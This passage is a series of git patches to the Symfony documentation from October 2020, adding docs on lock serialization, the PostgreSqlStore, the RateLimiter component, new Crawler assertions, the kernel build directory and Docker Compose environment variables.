+    // src/Messenger/CommandHandler/RegisterUserHandler.php
     namespace App\Messenger\CommandHandler;
 
     use App\Entity\User;
@@ -85,6 +86,7 @@ using the ``DispatchAfterCurrentBusMiddleware`` and adding a
 
 .. code-block:: php
 
+    // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php
     namespace App\Messenger\EventSubscriber;
 
     use App\Entity\User;
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 5852927e7ad..6b0ac4279ad 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -33,6 +33,8 @@ To change this value, override the ``getCharset()`` method and return another
 charset::
 
     // src/Kernel.php
+    namespace App;
+
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     // ...
 
@@ -89,6 +91,8 @@ override the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir`
 method to return the right project directory::
 
     // src/Kernel.php
+    namespace App;
+
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     // ...
 

From 81316eec981b6cbafb50faddda9d58b0c819f2c4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 7 Oct 2020 11:39:00 +0200
Subject: [PATCH 1285/7107] Add documentation about serializing lock

---
 components/lock.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 45237fed221..f2f26806987 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -73,6 +73,33 @@ method can be safely called repeatedly, even if the lock is already acquired.
     across several requests. To disable the automatic release behavior, set the
     third argument of the ``createLock()`` method to ``false``.
 
+Serializing Locks
+------------------
+
+The ``Key`` contains the state of the ``Lock`` and can be serialized. This
+allows the user to begin a long job in a process by acquiring the lock, and
+to continue the job in an other process within the same lock.::
+
+    use Symfony\Component\Lock\Key;
+    use Symfony\Component\Lock\Lock;
+
+    $key = new Key('article.'.$article->getId());
+    $lock = new Lock($key, $this->store, 300, false);
+    $lock->acquire(true);
+
+    $this->bus->dispatch(new RefreshTaxonomy($article, $key));
+
+.. note::
+
+    Don't forget to disable the autoRelease to avoid releasing the lock when
+    the destructor will be called.
+
+All stores are not compatible with serialization and cross-process locking:
+For instance the kernel will automatically releases Semaphores acquires by the
+:ref:`SemaphoreStore <lock-store-semaphore>` store.
+Wen a lock is acquired with such store, and hte application try to serialize
+the key, and exception will be thrown
+
 .. _lock-blocking-locks:
 
 Blocking Locks

From cc7ba8020df045225526c3343100a0e959b1f149 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Wed, 7 Oct 2020 17:23:08 -0400
Subject: [PATCH 1286/7107] Rename the translatable class

---
 translation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 238e80ee38c..fbf08ba14a1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -307,16 +307,16 @@ parts of your application and mocking it in your tests.
 
 Instead of translating a string at the time of creation, you can use a
 "translatable object", which is an instance of the
-:class:`Symfony\\Component\\Translation\\Translatable` class. This object stores
+:class:`Symfony\\Component\\Translation\\TranslatableMessage` class. This object stores
 all the information needed to fully translate its contents when needed::
 
-    use Symfony\Component\Translation\Translatable;
+    use Symfony\Component\Translation\TranslatableMessage;
 
     // the first argument is required and it's the original message
-    $message = new Translatable('Symfony is great!');
+    $message = new TranslatableMessage('Symfony is great!');
     // the optional second argument defines the translation parameters and
     // the optional third argument is the translation domain
-    $status = new Translatable('order.status', ['%status%' => $order->getStatus()], 'store');
+    $status = new TranslatableMessage('order.status', ['%status%' => $order->getStatus()], 'store');
 
 Templates are now much simpler because you can pass translatable objects to the
 ``trans`` filter:

From 61e30b36e444e37c2798f602663c1a1061b61b0b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Oct 2020 17:17:54 +0200
Subject: [PATCH 1287/7107] Tweaks

---
 components/lock.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index f2f26806987..891fdc64818 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -76,9 +76,9 @@ method can be safely called repeatedly, even if the lock is already acquired.
 Serializing Locks
 ------------------
 
-The ``Key`` contains the state of the ``Lock`` and can be serialized. This
+The ``Key`` contains the state of the ``Lock`` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
-to continue the job in an other process within the same lock.::
+continue the job in an other process using the same lock::
 
     use Symfony\Component\Lock\Key;
     use Symfony\Component\Lock\Lock;
@@ -92,13 +92,12 @@ to continue the job in an other process within the same lock.::
 .. note::
 
     Don't forget to disable the autoRelease to avoid releasing the lock when
-    the destructor will be called.
+    the destructor is called.
 
-All stores are not compatible with serialization and cross-process locking:
-For instance the kernel will automatically releases Semaphores acquires by the
-:ref:`SemaphoreStore <lock-store-semaphore>` store.
-Wen a lock is acquired with such store, and hte application try to serialize
-the key, and exception will be thrown
+Not all stores are compatible with serialization and cross-process locking:
+for example, the kernel will automatically release semaphores acquired by the
+:ref:`SemaphoreStore <lock-store-semaphore>` store. If you use an incompatible
+store, an exception will be thrown when the application tries to serialize the key.
 
 .. _lock-blocking-locks:
 

From 496ea825b3a9c54f819b0cc1dc6b2f29cc652aa3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 7 Oct 2020 10:55:55 +0200
Subject: [PATCH 1288/7107] Add documentation for Postgresql

---
 components/lock.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 lock.rst            |  4 ++++
 2 files changed, 44 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 18b50f9aa46..b159f09f9ae 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -319,6 +319,7 @@ Store                                         Scope   Blocking  Expiring Sharing
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes      no
 :ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes      no
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes      no
+:ref:`PostgreSqlStore <lock-store-pgsql>`     remote  yes       yes      yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes      yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no       no
 :ref:`ZookeeperStore <lock-store-zookeeper>`  remote  no        no       no
@@ -452,6 +453,29 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
 your code.
 
+.. _lock-store-pgsql:
+
+PostgreSqlStore
+~~~~~~~~~~~~~~~
+
+The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
+`PDO`_ connection, a `Doctrine DBAL Connection`_, or a
+`Data Source Name (DSN)`_. it nativly supports blocking, as weel as sharing
+locks.
+
+    use Symfony\Component\Lock\Store\PostgreSqlStore;
+
+    // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO
+    $databaseConnectionOrDSN = 'postgresql://myuser:mypassword@localhost:5634/lock';
+    $store = new PostgreSqlStore($databaseConnectionOrDSN);
+
+In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
+stores locks and does not expires.
+
+.. versionadded:: 5.2
+
+    PostgreSqlStore were introduced in Symfony 5.2.
+
 .. _lock-store-redis:
 
 RedisStore
@@ -551,6 +575,7 @@ Remote Stores
 Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
 :ref:`MongoDbStore <lock-store-mongodb>`,
 :ref:`PdoStore <lock-store-pdo>`,
+:ref:`PostgreSqlStore <lock-store-pgsql>`,
 :ref:`RedisStore <lock-store-redis>` and
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
 the true owner of the lock. This token is stored in the
@@ -760,6 +785,20 @@ have synchronized clocks.
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
 
+PostgreSqlStore
+~~~~~~~~~~~~~~~
+
+The PdoStore relies on the `Advisory Locks`_ properties of the PostgreSQL
+database. That means that by using :ref:`PostgreSqlStore <lock-store-pgsql>`
+the locks will be automatically released at the end of the session in case the
+client cannot unlock for any reason.
+
+If the PostgreSQL service or the machine hosting it restarts, every lock would
+be lost without notifying the running processes.
+
+If the TCP connection is lost, the PostgreSQL may release locks without
+notifying the application.
+
 RedisStore
 ~~~~~~~~~~
 
@@ -864,6 +903,7 @@ are still running.
 
 .. _`a maximum of 1024 bytes in length`: https://docs.mongodb.com/manual/reference/limits/#Index-Key-Limit
 .. _`ACID`: https://en.wikipedia.org/wiki/ACID
+.. _`Advisory Locks`: https://www.postgresql.org/docs/current/explicit-locking.html
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
 .. _`Expire Data from Collections by Setting TTL`: https://docs.mongodb.com/manual/tutorial/expire-data/
diff --git a/lock.rst b/lock.rst
index 1eb5ce95c64..c3d5cb365e5 100644
--- a/lock.rst
+++ b/lock.rst
@@ -58,6 +58,7 @@ this behavior by using the ``lock`` key like:
             lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
             lock: 'mysql:host=127.0.0.1;dbname=app'
             lock: 'pgsql:host=127.0.0.1;dbname=app'
+            lock: 'pgsql+advisory:host=127.0.0.1;dbname=lock'
             lock: 'sqlsrv:server=127.0.0.1;Database=app'
             lock: 'oci:host=127.0.0.1;dbname=app'
             lock: 'mongodb://127.0.0.1/app?collection=lock'
@@ -107,6 +108,8 @@ this behavior by using the ``lock`` key like:
 
                     <framework:resource>pgsql:host=127.0.0.1;dbname=app</framework:resource>
 
+                    <framework:resource>pgsql+advisory:host=127.0.0.1;dbname=lock</framework:resource>
+
                     <framework:resource>sqlsrv:server=127.0.0.1;Database=app</framework:resource>
 
                     <framework:resource>oci:host=127.0.0.1;dbname=app</framework:resource>
@@ -140,6 +143,7 @@ this behavior by using the ``lock`` key like:
             'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
             'lock' => 'mysql:host=127.0.0.1;dbname=app',
             'lock' => 'pgsql:host=127.0.0.1;dbname=app',
+            'lock' => 'pgsql+advisory:host=127.0.0.1;dbname=lock',
             'lock' => 'sqlsrv:server=127.0.0.1;Database=app',
             'lock' => 'oci:host=127.0.0.1;dbname=app',
             'lock' => 'mongodb://127.0.0.1/app?collection=lock',

From 62a39bce24081a2fa505cfc6014ae985e654398e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Oct 2020 17:31:22 +0200
Subject: [PATCH 1289/7107] Tweaks

---
 components/lock.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index b159f09f9ae..d34908c2777 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -460,8 +460,7 @@ PostgreSqlStore
 
 The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a
 `PDO`_ connection, a `Doctrine DBAL Connection`_, or a
-`Data Source Name (DSN)`_. it nativly supports blocking, as weel as sharing
-locks.
+`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks.
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
@@ -470,11 +469,11 @@ locks.
     $store = new PostgreSqlStore($databaseConnectionOrDSN);
 
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
-stores locks and does not expires.
+store locks and does not expire.
 
 .. versionadded:: 5.2
 
-    PostgreSqlStore were introduced in Symfony 5.2.
+    The ``PostgreSqlStore`` was introduced in Symfony 5.2.
 
 .. _lock-store-redis:
 

From 728f89f040692aad54dc3a5c94ad2a7a9c75d27f Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 8 Oct 2020 18:31:04 +0200
Subject: [PATCH 1290/7107] [Messenger] Update the list of stamp

---
 components/messenger.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index b0bcb785aa7..157d3f79d6a 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -148,21 +148,26 @@ through the transport layer, use the ``SerializerStamp`` stamp::
         ]))
     );
 
-At the moment, the Symfony Messenger has the following built-in envelope stamps:
+Here are some important envelope stamps that are shipped with the Symfony Messenger:
 
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
-   to configure the serialization groups used by the transport.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
-   to configure the validation groups used when the validation middleware is enabled.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`,
+   to delay handling of an asynchronous message.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`,
+   to make the message be handled after the current bus has executed. Read more
+   at :doc:`/messenger/dispatch_after_current_bus`.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
+   a stamp that marks the message as handled by a specific handler.
+   Allows accessing the handler returned value and the handler name.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`,
    an internal stamp that marks the message as received from a transport.
 #. :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`,
    a stamp that marks the message as sent by a specific sender.
    Allows accessing the sender FQCN and the alias if available from the
    :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`.
-#. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`,
-   a stamp that marks the message as handled by a specific handler.
-   Allows accessing the handler returned value and the handler name.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`,
+   to configure the serialization groups used by the transport.
+#. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`,
+   to configure the validation groups used when the validation middleware is enabled.
 
 Instead of dealing directly with the messages in the middleware you receive the envelope.
 Hence you can inspect the envelope content and its stamps, or add any::

From d90991e30b62aba571592c10aae522840fb562b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Oct 2020 16:26:51 +0200
Subject: [PATCH 1291/7107] [RateLimiter] Added the docs for the new component

---
 index.rst        |   1 +
 rate_limiter.rst | 195 +++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 196 insertions(+)
 create mode 100644 rate_limiter.rst

diff --git a/index.rst b/index.rst
index 52614d4d9b8..a4f512151f5 100644
--- a/index.rst
+++ b/index.rst
@@ -52,6 +52,7 @@ Topics
     notifier
     performance
     profiler
+    rate_limiter
     routing
     security
     session
diff --git a/rate_limiter.rst b/rate_limiter.rst
new file mode 100644
index 00000000000..358a1d62c00
--- /dev/null
+++ b/rate_limiter.rst
@@ -0,0 +1,195 @@
+Rate Limiter
+============
+
+.. versionadded:: 5.2
+
+    The RateLimiter component was introduced in Symfony 5.2 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
+login attempt) is allowed to happen. Rate limiting is commonly used as a
+defensive measure to protect services from excessive use (intended or not) and
+maintain their availability. It's also useful to control your internal or
+outbound processes (e.g. limit the number of simultaneously processed messages).
+
+Symfony uses these rate limiters in built-in features like "login throttling",
+which limits how many failed login attempts a user can make in a given period of
+time, but you can use them for your own features too.
+
+Rate Limiting Strategies
+------------------------
+
+Symfony's rate limiter implements two of the most common strategies to enforce
+rate limits: **fixed window** and **token bucket**.
+
+Fixed Window Rate Limiter
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is the simplest technique and it's based on setting a limit for a given
+interval of time. For example: 5,000 requests per hour or 3 login attempts
+every 15 minutes.
+
+Its main drawback is that resource usage is not evenly distributed in time and
+it can overload the server at the window edges. In the previous example, a user
+could make the 4,999 requests in the last minute of some hour and another 5,000
+requests during the first minute of the next hour, making 9,999 requests in
+total in two minutes and possibly overloading the server.
+
+Token Bucket Rate Limiter
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This technique implements the `token bucket algorithm`_, which defines a
+continuously updating budget of resource usage. It roughly works like this:
+
+* A bucket is created with an initial set of tokens;
+* A new token is added to the bucket with a predefined frequency (e.g. every second);
+* Allowing an event consumes one or more tokens;
+* If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
+* If the bucket is at full capacity, new tokens are discarded.
+
+Installation
+------------
+
+Before using a rate limiter for the first time, run the following command to
+install the associated Symfony Component in your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/rate-limiter
+
+Configuration
+-------------
+
+The following example creates two different rate limiters for an API service, to
+enforce different levels of service (free or paid):
+
+.. code-block:: yaml
+
+    # config/packages/rate_limiter.yaml
+    framework:
+        rate_limiter:
+            anonymous_api:
+                strategy: fixed_window
+                limit: 100
+                interval: '60 minutes'
+            authenticated_api:
+                strategy: token_bucket
+                limit: 5000
+                rate: { interval: '15 minutes', amount: 500 }
+
+.. note::
+
+    The value of the ``interval`` option must be a number followed by any of the
+    units accepted by the `PHP date relative formats`_ (e.g. ``3 seconds``,
+    ``10 hours``, ``1 day``, etc.)
+
+In the ``anonymous_api`` limiter, after making the first HTTP request, you can
+make up to 100 requests in the next 60 minutes. After that time, the counter
+resets and you have another 100 requests for the following 60 minutes.
+
+In the ``authenticated_api`` limiter, after making the first HTTP request you
+are allowed to make up to 5,000 HTTP requests in total, and this number grows
+at a rate of another 500 requests every 15 minutes. If you don't make that
+number of requests, the unused ones don't accumulate (the ``limit`` option
+prevents that number from being higher than 5,000).
+
+Rate Limiting in Action
+-----------------------
+
+After having installed and configured the rate limiter, inject it in any service
+or controller and call the ``consume()`` method to try to consume a given number
+of tokens. For example, this controller uses the previous rate limiter to control
+the number of requests to the API::
+
+    // src/Controller/ApiController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
+    use Symfony\Component\RateLimiter\Limiter;
+
+    class ApiController extends AbstractController
+    {
+        // the variable name must be: "rate limiter name" + "limiter" suffix
+        public function index(Limiter $anonymousApiLimiter)
+        {
+            // create a limiter based on a unique identifier of the client
+            // (e.g. the client's IP address, a username/email, an API key, etc.)
+            $limiter = $anonymousApiLimiter->create($request->getClientIp());
+
+            // the argument of consume() is the number of tokens to consume
+            // and returns an object of type Limit
+            if (false === $anonymous_api_limiter->consume(1)->isAccepted()) {
+                throw new TooManyRequestsHttpException();
+            }
+
+            // you can also use the ensureAccepted() method - which throws a
+            // RateLimitExceededException if the limit has been reached
+            // $limiter->consume(1)->ensureAccepted();
+
+            // ...
+        }
+
+        // ...
+    }
+
+.. note::
+
+    In a real application, instead of checking the rate limiter in all the API
+    controller methods, create an :doc:`event listener or subscriber </event_dispatcher>`
+    for the :ref:`kernel.request event <component-http-kernel-kernel-request>`
+    and check the rate limiter once for all requests.
+
+In other scenarios you may want instead to wait as long as needed until a new
+token is available. In those cases, use the ``wait()`` method::
+
+    // src/Controller/ApiController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\RateLimiter\Limiter;
+
+    class ApiController extends AbstractController
+    {
+        public function registerUser(Request $request, Limiter $authenticatedApiLimiter)
+        {
+            $apiKey = $request->headers->get('apikey');
+            $limiter = $authenticatedApiLimiter->create($apiKey);
+
+            // this blocks the application until the given number of tokens can be consumed
+            do {
+                $limit = $limiter->consume(1);
+                $limit->wait();
+            } while (!$limit->isAccepted());
+
+            // ...
+        }
+
+        // ...
+    }
+
+Rate Limiter Storage and Locking
+--------------------------------
+
+Rate limiters use the default cache and locking mechanisms defined in your
+Symfony application. If you prefer to change that, use the ``lock`` and
+``storage`` options:
+
+.. code-block:: yaml
+
+    # config/packages/rate_limiter.yaml
+    framework:
+        rate_limiter:
+            anonymous_api_limiter:
+                # ...
+                # the value is the name of any cache pool defined in your application
+                cache_pool: 'app.redis_cache'
+                # or define a service implementing StorageInterface to use a different
+                # mechanism to store the limiter information
+                storage: 'App\RateLimiter\CustomRedisStorage'
+                # the value is the name of any lock defined in your application
+                lock: 'app.rate_limiter_lock'
+
+.. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
+.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative

From 4919af7a2d2b0329a67ddcbd1f71e24001cf53c3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 9 Oct 2020 09:31:37 +0200
Subject: [PATCH 1292/7107] Add Crawler assert functions

---
 testing/functional_tests_assertions.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 1f3b13d9763..4da642bc6dd 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -81,6 +81,10 @@ Crawler
 - ``assertPageTitleContains()``
 - ``assertInputValueSame()``
 - ``assertInputValueNotSame()``
+- ``assertCheckboxChecked()``
+- ``assertCheckboxNotChecked()``
+- ``assertFormValue()``
+- ``assertNoFormValue()``
 
 Mailer
 ~~~~~~

From 4c6e527587ed52a6e907bb39c87843bfd63f4d73 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 9 Oct 2020 09:56:17 +0200
Subject: [PATCH 1293/7107] Super minor syntax fix

---
 http_client.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/http_client.rst b/http_client.rst
index 1112743d4f0..4db3784f853 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -810,6 +810,7 @@ following methods::
     // returns info coming from the transport layer, such as "response_headers",
     // "redirect_count", "start_time", "redirect_url", etc.
     $httpInfo = $response->getInfo();
+
     // you can get individual info too
     $startTime = $response->getInfo('start_time');
 

From a3fcdd0eee777e2d409b3344e7925a172a4957cd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Oct 2020 13:01:03 +0200
Subject: [PATCH 1294/7107] Added the versionadded directive

---
 testing/functional_tests_assertions.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 4da642bc6dd..457d8c39021 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -86,6 +86,12 @@ Crawler
 - ``assertFormValue()``
 - ``assertNoFormValue()``
 
+.. versionadded:: 5.2
+
+    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
+    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
+    in Symfony 5.2.
+
 Mailer
 ~~~~~~
 

From f8449f5c8cb67c5b043525d57c7ff6eec45ba257 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 9 Oct 2020 09:48:36 +0200
Subject: [PATCH 1295/7107] Document Kernel::getBuildDir()

---
 reference/configuration/kernel.rst | 27 +++++++++++++++++++++++++--
 1 file changed, 25 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 5f52cd155e7..e0f83d71250 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -84,6 +84,7 @@ method to return the right project directory::
         }
     }
 
+
 Cache Directory
 ~~~~~~~~~~~~~~~
 
@@ -91,13 +92,35 @@ Cache Directory
 
 This returns the absolute path of the cache directory of your Symfony project.
 It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`.
+:ref:`environment <configuration-environments>`. Data might be written to this path
+at runtime.
 
 This value is exposed via the ``kernel.cache_dir`` configuration parameter and
 the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
-change this setting, override the ``getCacheDir()`` method to return the right
+change this setting, override the ``getCacheDir()`` method to return the correct
 cache directory.
 
+Build Directory
+~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``$this->getCacheDir()``
+
+.. versionadded:: 5.2
+
+    The build directory feature was introduced in Symfony 5.2.
+
+This returns the absolute path of a build directory of your Symfony project. This
+directory can be used to separate read-only cache (i.e. the compiled container)
+from read-write cache (i.e. cache pools). Specify a non-default value when the
+application is deployed in a read-only filesystem like a Docker container or AWS
+Lambda.
+
+This value is exposed via the ``kernel.build_dir`` configuration parameter and
+the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
+change this setting, override the ``getBuildDir()`` method to return the correct
+build directory.
+
+
 Log Directory
 ~~~~~~~~~~~~~
 

From ffcc05d030dfef0cec7bc4832c1ff6d380b7dbec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Oct 2020 13:06:03 +0200
Subject: [PATCH 1296/7107] Tweaks

---
 reference/configuration/kernel.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 740a8df17fd..27707807ed4 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -88,7 +88,6 @@ method to return the right project directory::
         }
     }
 
-
 Cache Directory
 ~~~~~~~~~~~~~~~
 
@@ -96,8 +95,8 @@ Cache Directory
 
 This returns the absolute path of the cache directory of your Symfony project.
 It's calculated automatically based on the current
-:ref:`environment <configuration-environments>`. Data might be written to this path
-at runtime.
+:ref:`environment <configuration-environments>`. Data might be written to this
+path at runtime.
 
 This value is exposed via the ``kernel.cache_dir`` configuration parameter and
 the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
@@ -115,9 +114,9 @@ Build Directory
 
 This returns the absolute path of a build directory of your Symfony project. This
 directory can be used to separate read-only cache (i.e. the compiled container)
-from read-write cache (i.e. cache pools). Specify a non-default value when the
-application is deployed in a read-only filesystem like a Docker container or AWS
-Lambda.
+from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
+value when the application is deployed in a read-only filesystem like a Docker
+container or AWS Lambda.
 
 This value is exposed via the ``kernel.build_dir`` configuration parameter and
 the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To

From 77f4d41caa26f6b87ac0d33c792370ac9116ed15 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 9 Oct 2020 09:53:08 +0200
Subject: [PATCH 1297/7107] Configuration reference: Improve example of
 http_client::headers

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 62d68a5b929..f388b5c9eb5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -873,7 +873,7 @@ headers
 **type**: ``array``
 
 An associative array of the HTTP headers added before making the request. This
-value must use the format ``['header-name' => header-value, ...]``.
+value must use the format ``['header-name' => 'value0, value1, ...']``.
 
 http_version
 ............

From 9f2e934b839b0d0e46365ec59187af7f0dcf52c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Morel?= <morel.seb@gmail.com>
Date: Mon, 21 Sep 2020 12:40:45 -0700
Subject: [PATCH 1298/7107] Add a mention to COMPOSE_FILE and
 COMPOSE_PROJECT_NAME vars

---
 setup/symfony_server.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index d0f0b6e3e4d..47699eb2edc 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -361,6 +361,25 @@ When Docker services are running, browse a page of your Symfony application and
 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
+If your Docker Compose file is not at the root of the project, you can pass that information
+to the Symfony Server. It works exactly the same as for ``docker-compose``.
+
+Let's say you have your ``docker-compose.yaml`` file under a ``docker/`` directory.
+You start your containers like this:
+
+.. code-block:: bash
+
+    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
+
+And if you are using the same environment variables with the Symfony CLI, things will work. For instance:
+
+.. code-block:: bash
+
+    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
+
+If you have more than one docker-compose files you can provide them all separated by ``:``
+more information here: https://docs.docker.com/compose/reference/envvars/
+
 SymfonyCloud Integration
 ------------------------
 

From 527c6ea08f00412e0e08d0efb019819309421df4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Oct 2020 13:39:25 +0200
Subject: [PATCH 1299/7107] Reword

---
 setup/symfony_server.rst | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 47699eb2edc..5a1c408efa6 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -361,24 +361,22 @@ When Docker services are running, browse a page of your Symfony application and
 check the "Symfony Server" section in the web debug toolbar; you'll see that
 "Docker Compose" is "Up".
 
-If your Docker Compose file is not at the root of the project, you can pass that information
-to the Symfony Server. It works exactly the same as for ``docker-compose``.
-
-Let's say you have your ``docker-compose.yaml`` file under a ``docker/`` directory.
-You start your containers like this:
+If your Docker Compose file is not at the root of the project, use the
+``COMPOSE_FILE`` and ``COMPOSE_PROJECT_NAME`` environment variables to define
+its location, same as for ``docker-compose``:
 
 .. code-block:: bash
 
+    # start your containers:
